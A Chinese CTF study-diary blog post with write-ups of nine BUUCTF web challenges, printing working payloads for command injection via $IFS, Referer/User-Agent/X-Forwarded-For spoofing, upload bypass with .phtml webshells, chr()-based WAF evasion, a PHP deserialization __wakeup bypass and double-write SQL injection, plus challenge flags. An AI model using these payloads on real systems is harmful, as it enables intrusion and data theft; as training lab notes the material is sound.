2021/10/15-学习日记

1.BUUCTF刷题-[GXYCTF2019]Ping Ping Ping

参考博客
在尝试了空格,注释等操作后,发现很多字符都被禁止了。按照参考里的提示,试一试linux里的管道符

1-1

返回了文件名,那试试把flag.php打印出来。
1-2

对哦,过滤了空格。那试试用"\x00"来代替空格。
1-3

过滤了关键词flag。这我没办法了,看答案咯。
接下来查看index.php文件,看网页源码。
1-4

可以看到过滤了茫茫多的字符。既然flag被过滤了,那就想想办法构造flag吧。

/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

看源码可以知道,有个变量叫$a,将我们所构造的payload上传,原语句就会变成:

$ip=127.0.0.1;
a=g;
cat$IFS$1fla$a.php;
//$IFS是分隔符,$1代表命令行上的的第一个参数,这里的1可以是除0外的任意数字

这样就变相的执行了"cat flag.php"命令,得到flag。


1-5

其它解法

2.BUUCTF刷题-[极客大挑战 2019]Knife

打开题目,就光秃秃的一个一句话木马。


2-1

直接用蚁剑连这个地址,连接成功,拿到shell。没什么意思的题。
不过值得思考的是蚁剑这类工具的原理是什么?满足什么样的条件就是可以连接的shell呢?

3.BUUCTF刷题-[极客大挑战 2019]Http

先从源码里找到一个地址,打开。

3-1

提示说不是从"https://www.Sycsecret.com"来的,再结合题目上的http,可以联想到http中的referer
意思是说,我们要访问secret.php的话,referer消息头得是"https://www.Sycsecret.com"。这好办,burp加个消息头完事。
3-2

提示 请使用"Syclover"浏览器,当然不是让你去用这个浏览器了。把user_Agent头改成Syclover就可以了。
3-3

只能本地访问,那就加一个X_Forwarded_For:127.0.0.1或是X-Real_IP:127.0.0.1就成了呗。
3-4

拿到flag。

4.BUUCTF刷题-[极客大挑战 2019]Upload

文件上传漏洞,要做的就是绕过各种检测。
这里要用到的知识点:
1.大多数情况下.phtml与.php可以互换使用;
2.服务端检测字符"<?"来找出php语句,这时可以用js来写一句话。
最终构造的包如下:


4-1

5.BUUCTF刷题-[RoarCTF 2019]Easy Calc

参考博客
这里要用到php字符串解析特性知识点。
在源码中我们看到了calc.php文件,访问一下。

5-1

先列出几个函数的功能:

error_reporting(0):关闭错误报告。
foreach():foreach 语法结构提供了遍历数组的简单方式。
preg_match():用于执行一个正则表达式匹配。返回 pattern 的匹配次数。 它的值将是 0 次(不匹配)或 1 次,因为 preg_match() 在第一次匹配后 将会停止搜索。
die():输出一条消息,并退出当前脚本。

首先尝试什么样的值可以进行传输:

?num=1
?num=a
?num= a
? num=a

得出结论:当传输的字符串中有字母时,必须在num前加空格。
那么来构造payload吧。

? num=1;var_dump(scandir(chr(47)))
//var_dump():函数用于输出变量的相关信息。
//scandir():返回指定目录中的文件和目录的数组。
//chr():chr() 函数从指定的 ASCII 值返回字符。用chr()来绕过waf。因为char(47)='/',而'/'被拉入黑名单中了,所以用char(47)来避过黑名单。

得到主目录下的文件名及子目录名。


5-2

发现f1agg文件,输出它。

? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
//file_get_contents():把整个文件读入一个字符串中。
//chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)等价于/f1agg

得到flag。

6.BUUCTF刷题-[ACTF2020 新生赛]Upload

有点怪,尝试了几种方法绕过检测后上传成功,但是没有被正确解析,第一次遇到这种情况,没头绪。


6-1

再试试其他后缀名。后缀改成.phtml就可以用了,奇怪。

7.BUUCTF刷题-[极客大挑战 2019]PHP

一个完全没有交互的页面,源码中也没有任何信息。用御剑扫描一下,把目录文件下载到本地。


7-1

看看index.php中的代码。包含了class.php文件。有一个$select参数,并在最后反序列化了。
再看一下class.php,得知在username=admin,password=100时可以获得flag。接下来构造序列化payload。

<?php
class Name
{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password)
    {
        $this->username = $username;
        $this->password = $password;
    }
}
$select = new Name('admin', 100);
var_dump(serialize($select));
?>
//O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

但是在class.php中还有个魔术方法weakup(),会将序列化后的值改变,想想办法绕过它。

__wakeup(): 将在序列化之后立即被调用
漏洞原理: 当反序列化字符串中,表示属性个数的值大于其真实值,则跳过__wakeup()执行

将序列化结果改为:O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}。
还远没有结束,此时注意到类中的变量被声明为private成员。
PHP中,public(公共成员)、 private(私有成员)、 protected(保护成员)三者的区别
私有字段的字段名在序列化时,类名和字段名前面都会加上0的前缀。字符串长度也包括所加前缀的长度。
将序列化结果再次修改:O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
搞定。

7-2

8.BUUCTF刷题-[极客大挑战 2019]BabySQL

这次过滤了一些关键词,例如select、by等。过滤方式是把这些关键词换为空,可以考虑一下双写绕过。
双写可以绕过,然后尝试找出字段数。


8-1

8-2

order by 3 的时候不报错,order by 4 的时候报错,原查询有三个字段。然后联合查询注入。
information_schema、or、from、where也被替换掉了。

//库名
ununionion seselectlect 1,2,group_concat(schema_name)frfromom infoorrmation_schema.schemata %23
//ctf库的表
ununionion seselectlect 1,2,
group_concat(table_name)frfromom(infoorrmation_schema.tables)
whwhereere table_schema="ctf" %23
//flag
ununionion seselectlect 1,2,group_concat(flag)frfromom(ctf.Flag)%23
//flag{1e6841a4-8077-4a91-a0f1-310dc76ea5c2}

9.BUUCTF刷题-[ACTF2020 新生赛]BackupFile

靶机里啥都没有,名字又叫backupfile,那就是要找备份文件咯。
直接在url后加/index.php.bak即可下载。


9-1

看代码,需要绕过intval() 函数。

intval() 函数用于获取变量的整数值。
?key=123
flag{bd37bac3-931c-4e7c-93af-2e4b28920583} 
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 205,386评论 6 479
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 87,939评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 151,851评论 0 341
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,953评论 1 278
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,971评论 5 369
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,784评论 1 283
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,126评论 3 399
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,765评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 43,148评论 1 300
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,744评论 2 323
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,858评论 1 333
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,479评论 4 322
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,080评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,053评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,278评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,245评论 2 352
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,590评论 2 343

推荐阅读更多精彩内容